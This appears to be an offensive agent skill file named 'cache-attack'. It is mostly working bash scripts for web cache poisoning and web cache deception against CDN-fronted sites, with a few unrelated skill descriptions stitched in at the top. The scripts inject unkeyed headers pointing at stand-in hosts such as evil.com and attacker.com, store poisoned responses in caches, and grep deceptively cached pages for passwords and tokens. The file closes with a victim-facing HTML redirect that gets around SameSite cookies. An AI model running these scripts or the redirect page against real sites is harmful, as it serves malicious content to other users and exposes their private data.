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Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
Based on SOC occupation classification
| name | cache-attack |
| description | Poison CDN cache or deceive when X-Cache header is detected. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl |
| tags | ["recon","cache-poisoning","WCD","web-cache","CDN"] |
| category | recon |
| related_skills | ["wp-mass-recon","cors-credential-wordpress","staging-subdomain-hunt"] |
Web Cache Poisoning (WCP) and Web Cache Deception (WCD) methodology. WCP poisons cached pages with malicious content served to other users. WCD tricks the cache into storing sensitive pages that the attacker can then read. Both techniques exploit CDN and reverse-proxy caching behavior on CloudFront, Cloudflare, Fastly, Varnish, and Nginx.
X-Cache, Age, cf-cache-status, or X-Cache-Hits.terminal with curl.?cb=RANDOM).# Phase 1: Detect cache
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" | grep -iE "age|x-cache|cf-cache-status|via|server"
# Phase 2: Test cache storage (two identical requests)
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/?cb=TEST1" | grep -iE "x-cache|cf-cache-status"
# Second response should show HIT if caching works
# Phase 3: Test unkeyed header reflection
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET/" -H "X-Forwarded-Host: evil.com" | grep -i "location\|evil.com"
| Reflection Location | Impact | Severity |
|---|---|---|
<link rel="canonical"> | SEO poisoning | Medium |
<script src="..."> |
| XSS (stored in cache) |
| Critical |
<meta property="og:url"> | Phishing (link preview) | High |
Location: header | Mass open redirect | High |
<form action="..."> | Credential theft | High |
<link rel="stylesheet"> | CSS injection | Medium |
| Technique | Example | Severity |
|---|---|---|
| Extension forcing | /profile.php/.css | Critical |
| Path delimiter | /profile.php;.css | Critical |
| Query string | /profile?cb=123.css | High |
| URL encoding | /profile%2f..%2findex.css | High |
TARGET="$1"
echo "[*] Cache detection on $TARGET"
# Check for cache headers
RESP=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
echo "Cache headers:"
echo "$RESP" | grep -iE "age|x-cache|cf-cache-status|via|x-served-by|x-cache-hits|x-timer|server"
# Deduce CDN
if echo "$RESP" | grep -qi "cloudfront"; then
echo "[+] CloudFront detected — test WCD with path delimiter tricks"
elif echo "$RESP" | grep -qi "cloudflare"; then
echo "[+] Cloudflare detected — test WCP with unkeyed headers"
elif echo "$RESP" | grep -qi "varnish\|x-cache"; then
echo "[+] Varnish detected — test WCD with extension forcing"
elif echo "$RESP" | grep -qi "akamai"; then
echo "[+] Akamai detected — test WCP with X-Forwarded-Host"
fi
# Confirm caching with two identical requests
echo ""
echo "[*] Cache storage test:"
CACHE_BUSTER="cb=$(date +%s)"
echo -n " Request 1: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET/?$CACHE_BUSTER" -H "X-Cache-Debug: 1"
echo ""
sleep 2
echo -n " Request 2: "
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "X-Cache: %header{x-cache} | Age: %header{age}" "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null
echo ""
# Test Age increment on repeated requests (no cache buster)
echo ""
echo -n " Request 1 (no cb): "
AGE1=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE1:-none}"
sleep 3
echo -n " Request 2 (no cb): "
AGE2=$(curl -skI "https://$TARGET/" 2>/dev/null | grep -i "^age:" | awk '{print $2}' | tr -d '\r')
echo "Age: ${AGE2:-none}"
if [[ -n "$AGE1" && -n "$AGE2" && "$AGE2" -gt "$AGE1" ]]; then
echo " [+] Age increments confirmed — cache is STORING responses"
fi
TARGET="$1"
CACHE_BUSTER="cb=$(date +%s)"
# 15 unkeyed headers to test
UNKEYED_HEADERS=(
"X-Forwarded-Host: evil.com"
"X-Forwarded-Scheme: http"
"X-Forwarded-For: 127.0.0.1"
"X-Host: evil.com"
"X-Original-URL: /admin"
"X-Rewrite-URL: /admin"
"Forwarded: for=evil.com"
"X-Forwarded-Port: 8443"
"X-Amz-Website-Redirect-Location: /malicious"
"X-HTTP-Method-Override: POST"
"X-HTTP-Method: DELETE"
"X-Method-Override: PUT"
)
echo "[*] Testing ${#UNKEYED_HEADERS[@]} unkeyed headers..."
for header in "${UNKEYED_HEADERS[@]}"; do
key=$(echo "$header" | cut -d: -f1)
value=$(echo "$header" | cut -d: -f2- | xargs)
resp=$(curl -skI --max-time 10 --connect-timeout 10 "https://$TARGET/?$CACHE_BUSTER" -H "$header" 2>/dev/null)
if echo "$resp" | grep -qi "$value"; then
echo " [REFLECTED] $key: $value"
echo " $(echo "$resp" | grep -i "location\|$value" | head -1)"
fi
done
TARGET="$1"
MALICIOUS="evil.com"
PAYLOAD="x-forwarded-host: $MALICIOUS"
CACHE_BUSTER="cb=POISON_TEST_$(date +%s)"
echo "[*] Cache poisoning test with $PAYLOAD"
# Step 1: Poison — send request with malicious header
echo "[1] Poisoning cache..."
POISON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" -H "$PAYLOAD" -o /dev/null -w "%{http_code}" 2>/dev/null)
echo " Poison request: HTTP $POISON_RESP"
sleep 2
# Step 2: Confirm cache HIT
echo "[2] Checking cache..."
CACHE_HIT=$(curl -skI "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_HIT" ]]; then
echo " [+] Cache HIT confirmed: $CACHE_HIT"
# Step 3: Read cached response (without the header)
echo "[3] Reading cached response..."
CACHED=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/?$CACHE_BUSTER" 2>/dev/null)
if echo "$CACHED" | grep -q "$MALICIOUS"; then
echo " [CRITICAL] POISON STORED IN CACHE!"
echo " Malicious content served to all users of this URL"
else
echo " [-] Poison not stored (header is keyed or response doesn't reflect)"
fi
else
echo " [-] Cache MISS — response not cached"
fi
TARGET="$1"
SENSITIVE_URL="$2" # e.g., /profile or /wp-json/wp/v2/users
echo "[*] WCD test on $TARGET"
# Test extension forcing
for ext in ".css" ".js" ".json" ".png" ".ico"; do
WCD_URL="${SENSITIVE_URL}${ext}"
echo " Testing: $WCD_URL"
# Step 1: Force cache with fake static extension
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$WCD_URL" -H "X-Forwarded-Host: attacker.com" \
-H "Accept: text/css,*/*" -o /tmp/wcd_test_$$.txt 2>/dev/null
# Step 2: Check if sensitive data was cached
CACHE_CHECK=$(curl -skI "https://$TARGET$WCD_URL" 2>/dev/null | grep -i "x-cache.*hit\|cf-cache-status.*HIT")
if [[ -n "$CACHE_CHECK" ]]; then
echo " [CRITICAL] $WCD_URL CACHED — sensitive data stored!"
# Check content
if grep -qiE "email|password|token|user|auth" /tmp/wcd_test_$$.txt; then
echo " [CRITICAL] SENSITIVE DATA IN CACHED RESPONSE!"
head -5 /tmp/wcd_test_$$.txt
fi
fi
rm -f /tmp/wcd_test_$$.txt
sleep 0.5
done
# Test path delimiter tricks
for delim in ";.css" "%2f..%2findex.css" "..;.css"; do
WCD_URL="${SENSITIVE_URL}${delim}"
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET$WCD_URL" 2>/dev/null)
[[ "$code" != "404" ]] && echo " [POTENTIAL] $WCD_URL → HTTP $code"
sleep 0.3
done
# If the target uses SameSite=Lax cookies, WCD alone won't work because
# cookies aren't sent on cross-site requests. But SameSite=Lax sends
# cookies on TOP-LEVEL NAVIGATION (meta refresh, anchor click, form GET).
# Combo payload:
cat > wcd_samesite_poc.html << 'HTMLEOF'
<html>
<head>
<!-- Victim visits this page, auto-redirects to WCD URL with cookies -->
<meta http-equiv="refresh" content="0; url=https://TARGET/profile.php/.css">
</head>
<body>
<p>Redirecting...</p>
<!-- Backup: anchor tag if meta refresh fails -->
<a id="fallback" href="https://TARGET/profile.php/.css">Click here</a>
<script>document.getElementById('fallback').click();</script>
</body>
</html>
HTMLEOF
echo "[+] WCD + SameSite bypass PoC saved to wcd_samesite_poc.html"
?p=1&p=2) may cause cache key confusion.X-Cache: Hit or cf-cache-status: HIT header.